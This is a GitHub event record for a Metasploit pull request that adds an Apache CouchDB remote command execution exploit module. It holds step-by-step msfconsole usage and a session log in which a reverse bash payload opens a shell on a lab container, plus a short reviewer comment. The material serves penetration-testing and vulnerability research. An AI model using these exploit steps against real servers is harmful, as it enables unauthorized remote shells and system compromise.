{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9780","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9780/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9780/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9780/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/9780","id":309638139,"number":9780,"title":"Apache couchdb remote code execute","user":{"login":"Green-m","id":22535454,"avatar_url":"https://avatars3.githubusercontent.com/u/22535454?v=4","gravatar_id":"","url":"https://api.github.com/users/Green-m","html_url":"https://github.com/Green-m","followers_url":"https://api.github.com/users/Green-m/followers","following_url":"https://api.github.com/users/Green-m/following{/other_user}","gists_url":"https://api.github.com/users/Green-m/gists{/gist_id}","starred_url":"https://api.github.com/users/Green-m/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Green-m/subscriptions","organizations_url":"https://api.github.com/users/Green-m/orgs","repos_url":"https://api.github.com/users/Green-m/repos","events_url":"https://api.github.com/users/Green-m/events{/privacy}","received_events_url":"https://api.github.com/users/Green-m/received_events","type":"User","site_admin":false},"labels":[{"id":125500911,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"open","locked":false,"assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":8,"created_at":"2018-03-29T06:47:14Z","updated_at":"2018-04-11T08:50:00Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9780","html_url":"https://github.com/rapid7/metasploit-framework/pull/9780","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9780.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9780.patch"},"body":"## Description  \r\n\r\nCouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.\r\n\r\n## Vulnerable Application  \r\n\r\n**Vulnerable Application Link** \r\n\r\n- docker  \r\n\r\nCouchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635  \r\nCouchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636\r\n\r\n\r\n## Vulnerable Application Installation Setup.\r\n\r\nChange dictory to CVE-2017-1263X, and run `docker-compose up -d` \r\n\r\n\r\n## Verification Steps  \r\n\r\n  Example steps in this format (is also in the PR):\r\n\r\n  1. Install the application\r\n  2. Start msfconsole\r\n  3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```\r\n  4. Do: ``check``\r\n\r\n``[*] 192.168.77.139:5984 The target appears to be vulnerable.``\r\n\r\n  5. Do: ``set srvhost <ip>``\r\n  6. Do: ``set srvport <port>``\r\n  7. Do: ``set lhost <ip>``\r\n  8. Do: ``set lport <port>``\r\n  9. Do: ``exploit``\r\n  10. You should get a shell.\r\n\r\n## Options   \r\n\r\n- URIPATH\r\n\r\n``URIPATH`` by default is random, you can change it if you want.\r\n\r\n- HttpUsername, HttpPassword  \r\n\r\nSometimes it  requires authentication, set these options to authorize.  \r\n\r\n\r\n## Scenarios  \r\n\r\nTESTED AGAINST LINUX\r\n\r\n```\r\nmsf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options \r\n\r\nModule options (exploit/linux/http/apache_couchdb_cmd_exec):\r\n\r\n   Name          Current Setting  Required  Description\r\n   ----          ---------------  --------  -----------\r\n   HttpPassword                   no        The password to login with\r\n   HttpUsername                   no        The username to login as\r\n   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST                          yes       The target address\r\n   RPORT         5984             yes       The target port (TCP)\r\n   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0\r\n   SRVPORT       8080             yes       The local port to listen on.\r\n   SSL           false            no        Negotiate SSL/TLS for outgoing connections\r\n   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)\r\n   URIPATH                        no        The URI to use for this exploit to download and execute. (default is random)\r\n   VHOST                          no        HTTP server virtual host\r\n\r\n\r\nPayload options (cmd/unix/reverse_bash):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LHOST                   yes       The listen address\r\n   LPORT  4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Automatic\r\n\r\n\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139\r\nrhost => 192.168.77.139\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > check \r\n[*] 192.168.77.139:5984 The target appears to be vulnerable.\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139 \r\nsrvhost => 192.168.77.139\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888\r\nsrvport => 8888\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139 \r\nlhost => 192.168.77.139\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit \r\n[*] Exploit running as background job 0.\r\n[*] Started reverse TCP handler on 192.168.77.139:4444 \r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2\r\n[*] 192.168.77.139:5984 - The 1 time to exploit\r\n[*] 192.168.77.139:5984 - Sending the payload to the server...\r\n[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400\r\n[*] Server stopped.\r\nmsf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1\r\n[*] Starting interaction with 1...\r\nid\r\nuid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/380377115","html_url":"https://github.com/rapid7/metasploit-framework/pull/9780#issuecomment-380377115","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9780","id":380377115,"user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"created_at":"2018-04-11T08:50:00Z","updated_at":"2018-04-11T08:50:00Z","author_association":"CONTRIBUTOR","body":"Oh, but before we go down this rabbit hole, you should really verify if what you suspect about command chaining is true. Time to hit `strace`?"}}
{"actor":{"display_login":"wvu-r7"}}